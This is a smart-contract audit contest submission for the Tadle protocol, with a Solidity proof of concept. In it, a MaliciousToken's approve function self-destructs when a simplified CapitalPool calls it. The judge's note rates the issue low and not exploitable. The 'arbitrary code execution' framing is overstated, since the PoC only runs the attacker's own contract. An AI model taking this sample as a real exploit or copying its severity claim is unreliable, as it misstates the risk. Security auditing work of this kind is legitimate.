Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: low
Valid

Arbitrary Code Execution in CapitalPool contract

Hello Tadle,

  1. The CapitalPool contract calls the approve function on the MaliciousToken contract.

  2. The approve function of MaliciousToken is executed, which emits an event (AttackSuccessful) and then self-destructs, sending its balance to the spender (the tokenManager in the original approve function).

Steps to Execute the PoC:

  1. Deploy the MaliciousToken Contract: Deploy the MaliciousToken contract on the Ethereum network.

  2. Deploy the CapitalPool Contract: Deploy the CapitalPool contract, ensuring it has the ability to call the approve function on other contracts.

  3. Execute the Attack:

    • Call the approve function of CapitalPool with the address of the MaliciousToken contract as the tokenAddr.

    • Since the CapitalPool contract does not check what the approve function actually does, it will trigger the arbitrary code in MaliciousToken.

Expected Outcome:

  • The MaliciousToken contract’s approve function is called.

  • The event AttackSuccessful is emitted, indicating that the attack was successful.

  • The selfdestruct function is executed, sending the balance of the MaliciousToken contract to the spender address (which is the tokenManager).

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CapitalPool {
bytes4 private constant APPROVE_SELECTOR =
bytes4(keccak256(bytes("approve(address,uint256)")));
address public tadleFactory;
constructor(address _tadleFactory) {
tadleFactory = _tadleFactory;
}
function approve(address tokenAddr) external {
address tokenManager = address(0x123); // Replace with actual token manager address
(bool success, ) = tokenAddr.call(
abi.encodeWithSelector(
APPROVE_SELECTOR,
tokenManager,
type(uint256).max
)
);
if (!success) {
revert("Approve Failed");
}
}
}
contract MaliciousToken {
event AttackSuccessful(address indexed tokenManager);
function approve(address spender, uint256 amount) external returns (bool) {
emit AttackSuccessful(spender);
// Malicious code execution
selfdestruct(payable(spender));
return true;
}
}
// Example of how this would be used in testing
contract TestPoC {
CapitalPool public capitalPool;
MaliciousToken public maliciousToken;
constructor() {
// Deploy the contracts
maliciousToken = new MaliciousToken();
capitalPool = new CapitalPool(address(this)); // Assume this address has the TadleFactory's functions
// Perform the attack
capitalPool.approve(address(maliciousToken));
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-CapitalPool-approve-missing-access-control

This is at most low severity, even though giving max approvals shouldn't be permisionless, the respective tokenManager address is retrieved from the TadleFactory contract whereby the trusted guardian role is responsible for deploying such contracts as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/factory/TadleFactory.sol#L68). Since the user still has to go through the PreMarkets/DeliveryPlace contracts to perform market actions, this max approval cannot be exploited.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.